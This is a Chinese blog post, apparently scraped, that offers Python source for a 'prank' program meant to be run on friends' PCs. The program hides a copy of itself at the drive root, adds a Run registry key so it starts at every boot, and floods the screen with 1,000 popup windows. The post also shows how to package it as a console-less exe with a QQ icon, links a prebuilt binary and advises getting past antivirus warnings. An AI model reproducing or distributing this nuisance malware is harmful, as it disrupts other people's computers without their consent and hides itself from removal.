Python無限彈窗,開機啓動,打包爲exe程序

Python無限彈窗,打包爲exe程序開機自啓動,娛樂小程序。git

import tkinter as tk
import random,threading,win32api,win32con, shutil,os,sys

def Mymovefile(): #移動程序到當前分區下命名爲 ARE_YOU_OKAY.exe。朋友問刪了爲何還會執行。固然是由於有備份,玩夠了就在分區下面刪除這個吧。
    if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'): #看當前分區下有沒有
        shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe')  # 移動文件

class AutoRun(): #設置爲開機自啓程序######《《《《第一次360會提示篡改程序,在朋友的電腦上幫他肯定一下。之後開機都會執行》》》》
    def __init__(self):
        name = 'lalalulala'  # 要添加的項值名稱
        path = os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'  # 要添加的exe路徑
        KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,  KeyName, 0,  win32con.KEY_ALL_ACCESS)
        win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
        win32api.RegCloseKey(key)

def Play():    #展現的效果
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(20, width)
    b = random.randrange(20, height)
    window.title('給你看個小病毒')
    window.geometry("400x100" + "+" + str(a) + "+" + str(b))
    tk.Label(window,
             text='你吃飯了嗎?',  # 標籤的文字
             bg='Red',  # 背景顏色
             font=('楷體', 17),  # 字體和字體大小
             width=466, height=4  # 標籤長寬
             ).pack()  # 固定窗口位置
    window.mainloop()
threads = []

if __name__=="__main__":
    Mymovefile()
    AutoRun()
    for i in range(1000):     #依電腦性能調值大;千萬不要 while True:
        t = threading.Thread(target=Play)
        t.start()

程序打包
1,Python 腳本打包成能夠直接雙擊運行的 .exe 文件
win+R 輸入powershell, 
pip3 install pyinstaller
pip install pypiwin32
pyinstaller -F -i qq.ico -w curl.py #-F指定exe程序,-i icon圖標,-w,無控制檯github

本人編輯好的exe程序
https://raw.githubusercontent.com/xiaoxuenice/xiaoxue/master/Play.exe
以管理員身份運行
可用圖標轉換器更換一下圖標
Python無限彈窗,開機啓動,打包爲exe程序shell

相關文章
相關標籤/搜索